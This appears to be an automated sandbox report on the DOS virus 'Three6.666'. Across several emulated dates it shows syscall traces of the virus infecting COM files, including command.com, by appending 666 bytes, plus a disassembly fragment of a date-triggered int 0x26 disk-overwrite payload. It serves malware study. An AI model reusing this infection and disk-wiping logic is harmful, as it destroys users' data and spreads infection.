Sample viewer

vx.netlux.org/Virus.DOS.Three6.666

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:54:53.931468398Z 6 PC: 12bb9 | Direct console I/O
2018-12-17T21:54:53.934673216Z 42 PC: 12bbd | Get date 0x12bbd: cmp cx, 0x7cc
0x12bc1: jne 0x12bd6
0x12bc3: cmp dx, 0xc0d
0x12bc7: jl 0x12bd6
0x12bc9: mov al, 0x80
0x12bcb: mov bx, 0
0x12bce: mov dx, 2
0x12bd1: mov cx, 0x190
0x12bd4: int 0x26
0x12bd6: mov bx, 0x101
0x12bd9: mov ax, word ptr [bx]
0x12bdb: push ax
0x12bdc: add ax, 0x125
0x12bdf: mov si, ax
0x12be1: pop ax
0x12be2: add ax, 0x105
0x12be5: mov bx, ax
0x12be7: mov al, byte ptr [bx]
0x12be9: mov ah, byte ptr [bx + 1]
0x12bec: mov cl, byte ptr [bx + 2]
2018-12-17T21:54:53.937168161Z 61 PC: 12c16 | Open file (Filename = 'c:\command.com')
2018-12-17T21:54:53.943804018Z 66 PC: 12c2f | Move file pointer
2018-12-17T21:54:53.946349044Z 66 PC: 12c3d | Move file pointer
2018-12-17T21:54:53.949112126Z 63 PC: 12c48 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T21:54:53.955226692Z 66 PC: 12c6f | Move file pointer
2018-12-17T21:54:53.957507513Z 63 PC: 12c77 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T21:54:53.961685891Z 66 PC: 12c87 | Move file pointer
2018-12-17T21:54:53.963401934Z 66 PC: 12c9f | Move file pointer
2018-12-17T21:54:53.965034183Z 64 PC: 12ca7 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T21:54:53.96907653Z 66 PC: 12cb4 | Move file pointer
2018-12-17T21:54:53.97047773Z 64 PC: 12ccf | Write file or device (Write 666 bytes on handle 5)
2018-12-17T21:54:54.322916446Z 62 PC: 12cd5 | Close file
2018-12-17T21:54:54.331348086Z 78 PC: 12d13 | Find first file
2018-12-17T21:54:54.339969151Z 61 PC: 12d32 | Open file (Filename = 'SLEEP.COM')
2018-12-17T21:54:54.346548044Z 66 PC: 12d40 | Move file pointer
2018-12-17T21:54:54.348917596Z 66 PC: 12d56 | Move file pointer
2018-12-17T21:54:54.350276305Z 63 PC: 12d61 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T21:54:54.356573395Z 66 PC: 12d92 | Move file pointer
2018-12-17T21:54:54.359406985Z 63 PC: 12d9a | Read file or device (Read 3 bytes on handle 5)
2018-12-17T21:54:54.362001744Z 66 PC: 12daa | Move file pointer
2018-12-17T21:54:54.363445733Z 66 PC: 12dc2 | Move file pointer
2018-12-17T21:54:54.364995292Z 64 PC: 12dca | Write file or device (Write 3 bytes on handle 5)
2018-12-17T21:54:54.368658105Z 66 PC: 12dd6 | Move file pointer
2018-12-17T21:54:54.370194334Z 64 PC: 12df2 | Write file or device (Write 666 bytes on handle 5)
2018-12-17T21:54:54.384433752Z 62 PC: 12df6 | Close file
2018-12-17T21:54:54.397554935Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-17T21:54:54.402150189Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":530,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:12.611956687Z 6 PC: 12bb9 | Direct console I/O
2018-12-25T11:41:12.614551687Z 42 PC: 12bbd | Get date 0x12bbd: cmp cx, 0x7cc
0x12bc1: jne 0x12bd6
0x12bc3: cmp dx, 0xc0d
0x12bc7: jl 0x12bd6
0x12bc9: mov al, 0x80
0x12bcb: mov bx, 0
0x12bce: mov dx, 2
0x12bd1: mov cx, 0x190
0x12bd4: int 0x26
0x12bd6: mov bx, 0x101
0x12bd9: mov ax, word ptr [bx]
0x12bdb: push ax
0x12bdc: add ax, 0x125
0x12bdf: mov si, ax
0x12be1: pop ax
0x12be2: add ax, 0x105
0x12be5: mov bx, ax
0x12be7: mov al, byte ptr [bx]
0x12be9: mov ah, byte ptr [bx + 1]
0x12bec: mov cl, byte ptr [bx + 2]
2018-12-25T11:41:12.616037716Z 61 PC: 12c16 | Open file (Filename = 'c:\command.com')
2018-12-25T11:41:12.620303914Z 66 PC: 12c2f | Move file pointer
2018-12-25T11:41:12.621641966Z 66 PC: 12c3d | Move file pointer
2018-12-25T11:41:12.622856668Z 63 PC: 12c48 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:12.624825746Z 66 PC: 12c6f | Move file pointer
2018-12-25T11:41:12.626335611Z 63 PC: 12c77 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:12.628705047Z 66 PC: 12c87 | Move file pointer
2018-12-25T11:41:12.629872129Z 66 PC: 12c9f | Move file pointer
2018-12-25T11:41:12.631246236Z 64 PC: 12ca7 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:12.633000862Z 66 PC: 12cb4 | Move file pointer
2018-12-25T11:41:12.633871561Z 64 PC: 12ccf | Write file or device (Write 666 bytes on handle 5)
2018-12-25T11:41:15.065152006Z 62 PC: 12cd5 | Close file
2018-12-25T11:41:15.159143358Z 78 PC: 12d13 | Find first file
2018-12-25T11:41:15.164950604Z 61 PC: 12d32 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:15.171331145Z 66 PC: 12d40 | Move file pointer
2018-12-25T11:41:15.172774401Z 66 PC: 12d56 | Move file pointer
2018-12-25T11:41:15.173981902Z 63 PC: 12d61 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:15.180243433Z 66 PC: 12d92 | Move file pointer
2018-12-25T11:41:15.181780761Z 63 PC: 12d9a | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:15.184389337Z 66 PC: 12daa | Move file pointer
2018-12-25T11:41:15.185998331Z 66 PC: 12dc2 | Move file pointer
2018-12-25T11:41:15.192735867Z 64 PC: 12dca | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:15.195308984Z 66 PC: 12dd6 | Move file pointer
2018-12-25T11:41:15.196832732Z 64 PC: 12df2 | Write file or device (Write 666 bytes on handle 5)
2018-12-25T11:41:17.137230612Z 62 PC: 12df6 | Close file
2018-12-25T11:41:17.302461265Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T11:41:17.308394117Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":1,"Month":1,"Year":1996,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":530,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:12.630346137Z 6 PC: 12bb9 | Direct console I/O
2018-12-25T11:41:12.632973166Z 42 PC: 12bbd | Get date 0x12bbd: cmp cx, 0x7cc
0x12bc1: jne 0x12bd6
0x12bc3: cmp dx, 0xc0d
0x12bc7: jl 0x12bd6
0x12bc9: mov al, 0x80
0x12bcb: mov bx, 0
0x12bce: mov dx, 2
0x12bd1: mov cx, 0x190
0x12bd4: int 0x26
0x12bd6: mov bx, 0x101
0x12bd9: mov ax, word ptr [bx]
0x12bdb: push ax
0x12bdc: add ax, 0x125
0x12bdf: mov si, ax
0x12be1: pop ax
0x12be2: add ax, 0x105
0x12be5: mov bx, ax
0x12be7: mov al, byte ptr [bx]
0x12be9: mov ah, byte ptr [bx + 1]
0x12bec: mov cl, byte ptr [bx + 2]
2018-12-25T11:41:12.634986482Z 61 PC: 12c16 | Open file (Filename = 'c:\command.com')
2018-12-25T11:41:12.640813741Z 66 PC: 12c2f | Move file pointer
2018-12-25T11:41:12.642397422Z 66 PC: 12c3d | Move file pointer
2018-12-25T11:41:12.643543931Z 63 PC: 12c48 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:12.646188794Z 66 PC: 12c6f | Move file pointer
2018-12-25T11:41:12.647896348Z 63 PC: 12c77 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:12.650290524Z 66 PC: 12c87 | Move file pointer
2018-12-25T11:41:12.651508096Z 66 PC: 12c9f | Move file pointer
2018-12-25T11:41:12.653068076Z 64 PC: 12ca7 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:12.65549328Z 66 PC: 12cb4 | Move file pointer
2018-12-25T11:41:12.656687858Z 64 PC: 12ccf | Write file or device (Write 666 bytes on handle 5)
2018-12-25T11:41:15.071141318Z 62 PC: 12cd5 | Close file
2018-12-25T11:41:15.183950809Z 78 PC: 12d13 | Find first file
2018-12-25T11:41:15.190424189Z 61 PC: 12d32 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:15.196780788Z 66 PC: 12d40 | Move file pointer
2018-12-25T11:41:15.198277545Z 66 PC: 12d56 | Move file pointer
2018-12-25T11:41:15.199545746Z 63 PC: 12d61 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:15.206271669Z 66 PC: 12d92 | Move file pointer
2018-12-25T11:41:15.208823379Z 63 PC: 12d9a | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:15.211112321Z 66 PC: 12daa | Move file pointer
2018-12-25T11:41:15.212357142Z 66 PC: 12dc2 | Move file pointer
2018-12-25T11:41:15.214133761Z 64 PC: 12dca | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:15.216594442Z 66 PC: 12dd6 | Move file pointer
2018-12-25T11:41:15.217837216Z 64 PC: 12df2 | Write file or device (Write 666 bytes on handle 5)
2018-12-25T11:41:17.137983922Z 62 PC: 12df6 | Close file
2018-12-25T11:41:17.30812906Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T11:41:17.313626884Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":true,"Day":13,"Month":12,"Year":1996,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":530,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:15.403066986Z 6 PC: 12bb9 | Direct console I/O
2018-12-25T11:41:15.406302415Z 42 PC: 12bbd | Get date 0x12bbd: cmp cx, 0x7cc
0x12bc1: jne 0x12bd6
0x12bc3: cmp dx, 0xc0d
0x12bc7: jl 0x12bd6
0x12bc9: mov al, 0x80
0x12bcb: mov bx, 0
0x12bce: mov dx, 2
0x12bd1: mov cx, 0x190
0x12bd4: int 0x26
0x12bd6: mov bx, 0x101
0x12bd9: mov ax, word ptr [bx]
0x12bdb: push ax
0x12bdc: add ax, 0x125
0x12bdf: mov si, ax
0x12be1: pop ax
0x12be2: add ax, 0x105
0x12be5: mov bx, ax
0x12be7: mov al, byte ptr [bx]
0x12be9: mov ah, byte ptr [bx + 1]
0x12bec: mov cl, byte ptr [bx + 2]
2018-12-25T11:41:15.409293338Z 61 PC: 12c16 | Open file (Filename = 'c:\command.com')
2018-12-25T11:41:15.416179909Z 66 PC: 12c2f | Move file pointer
2018-12-25T11:41:15.418162843Z 66 PC: 12c3d | Move file pointer
2018-12-25T11:41:15.420099398Z 63 PC: 12c48 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:15.423672949Z 66 PC: 12c6f | Move file pointer
2018-12-25T11:41:15.425491397Z 63 PC: 12c77 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:15.429097277Z 66 PC: 12c87 | Move file pointer
2018-12-25T11:41:15.430624238Z 66 PC: 12c9f | Move file pointer
2018-12-25T11:41:15.432101357Z 64 PC: 12ca7 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:15.436158625Z 66 PC: 12cb4 | Move file pointer
2018-12-25T11:41:15.437775411Z 64 PC: 12ccf | Write file or device (Write 666 bytes on handle 5)
2018-12-25T11:41:15.796923044Z 62 PC: 12cd5 | Close file
2018-12-25T11:41:15.805882798Z 78 PC: 12d13 | Find first file
2018-12-25T11:41:15.813125813Z 61 PC: 12d32 | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:15.821527388Z 66 PC: 12d40 | Move file pointer
2018-12-25T11:41:15.823874409Z 66 PC: 12d56 | Move file pointer
2018-12-25T11:41:15.826130578Z 63 PC: 12d61 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:15.833229691Z 66 PC: 12d92 | Move file pointer
2018-12-25T11:41:15.834876051Z 63 PC: 12d9a | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:41:15.838502033Z 66 PC: 12daa | Move file pointer
2018-12-25T11:41:15.840076472Z 66 PC: 12dc2 | Move file pointer
2018-12-25T11:41:15.84183783Z 64 PC: 12dca | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:41:15.846196413Z 66 PC: 12dd6 | Move file pointer
2018-12-25T11:41:15.848151668Z 64 PC: 12df2 | Write file or device (Write 666 bytes on handle 5)
2018-12-25T11:41:15.862881083Z 62 PC: 12df6 | Close file
2018-12-25T11:41:15.873020003Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T11:41:15.879240365Z 76 PC: 12a86 | Terminate with return code (Return code = '36')